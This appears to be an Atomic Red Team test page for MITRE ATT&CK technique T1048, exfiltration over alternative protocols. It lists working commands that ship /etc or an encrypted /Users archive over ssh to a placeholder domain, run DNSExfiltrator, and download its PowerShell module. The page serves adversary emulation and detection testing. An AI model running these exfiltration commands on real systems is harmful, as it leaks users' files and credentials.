Adversaries may steal data by exfiltrating it over a different protocol than that of the existing command and control channel. The data may also be sent to an alternate network location from the main command and control server.
Alternate protocols include FTP, SMTP, HTTP/S, DNS, SMB, or any other network protocol not being used as the main command and control channel. Adversaries may also opt to encrypt and/or obfuscate these alternate channels.
[Exfiltration Over Alternative Protocol](https://attack.mitre.org/techniques/T1048) can be done using various common operating system utilities such as [Net](https://attack.mitre.org/software/S0039)/SMB or FTP.(Citation: Palo Alto OilRig Oct 2016) On macOS and Linux curl may be used to invoke protocols such as HTTP/S or FTP/S to exfiltrate data from a system.(Citation: 20 macOS Common Tools and Techniques)
Many IaaS and SaaS platforms (such as Microsoft Exchange, Microsoft SharePoint, GitHub, and AWS S3) support the direct download of files, emails, source code, and other sensitive information via the web console or [Cloud API](https://attack.mitre.org/techniques/T1059/009).
Atomic Test #1 - Exfiltration Over Alternative Protocol - SSH
Atomic Test #2 - Exfiltration Over Alternative Protocol - SSH
Input a domain and test Exfiltration over SSH
Remote to Local
Upon successful execution, sh will spawn ssh contacting a remote domain (default: target.example.com) writing a tar.gz file.
Supported Platforms: macOS, Linux
auto_generated_guid: f6786cc8-beda-4915-a4d6-ac2f193bb988
| Name | Description | Type | Default Value | |——|————-|——|—————| | domain | target SSH domain | url | target.example.com|
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sh
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ssh #{domain} "(cd /etc && tar -zcvf - *)" > ./etc.tar.gz
Input a domain and test Exfiltration over SSH
Local to Remote
Upon successful execution, tar will compress /Users/* directory and password protect the file modification of 1
Users.tar.gz.enc
Supported Platforms: macOS, Linux
auto_generated_guid: 7c3cb337-35ae-4d06-bf03-3032ed2ec268
| Name | Description | Type | Default Value | |——|————-|——|—————| | user_name | username for domain | string | atomic| | password | password for user | string | atomic| | domain | target SSH domain | url | target.example.com|
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sh
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tar czpf - /Users/* | openssl des3 -salt -pass #{password} | ssh #{user_name}@#{domain} 'cat > /Users.tar.gz.enc'
DNSExfiltrator enables the transfer (exfiltration) of a file over a DNS request covert channel. This is basically a data leak testing tool allowing to exfiltrate data over a covert channel. !!! Test will fail without a domain under your control with A record and NS record !!! See this github page for more details - https://github.com/Arno0x/DNSExfiltrator
Supported Platforms: Windows
auto_generated_guid: c943d285-ada3-45ca-b3aa-7cd6500c6a48
| Name | Description | Type | Default Value | |——|————-|——|—————| | password | Password used to encrypt the data to be exfiltrated | string | atomic| | domain | The domain name to use for DNS requests | string | target.example.com| | ps_module | DNSExfiltrator powershell ps_module | path | PathToAtomicsFolder\..\ExternalPayloads\dnsexfil.ps1| | doh | Google or CloudFlare DoH (DNS over HTTP) server | string | google| | time | The time in milliseconds to wait between each DNS request | string | 500| | encoding | Set to ‘-b32’ to use base32 encoding of data. Might be required by some DNS resolvers. | string | |
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powershell
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2
Import-Module "#{ps_module}"
Invoke-DNSExfiltrator -i "#{ps_module}" -d #{domain} -p #{password} -doh #{doh} -t #{time} #{encoding}
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powershell
1
if (Test-Path "#{ps_module}") {exit 0} else {exit 1}
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2
New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null
IWR "https://raw.githubusercontent.com/Arno0x/DNSExfiltrator/8faa972408b0384416fffd5b4d42a7aa00526ca8/Invoke-DNSExfiltrator.ps1" -OutFile "#{ps_module}"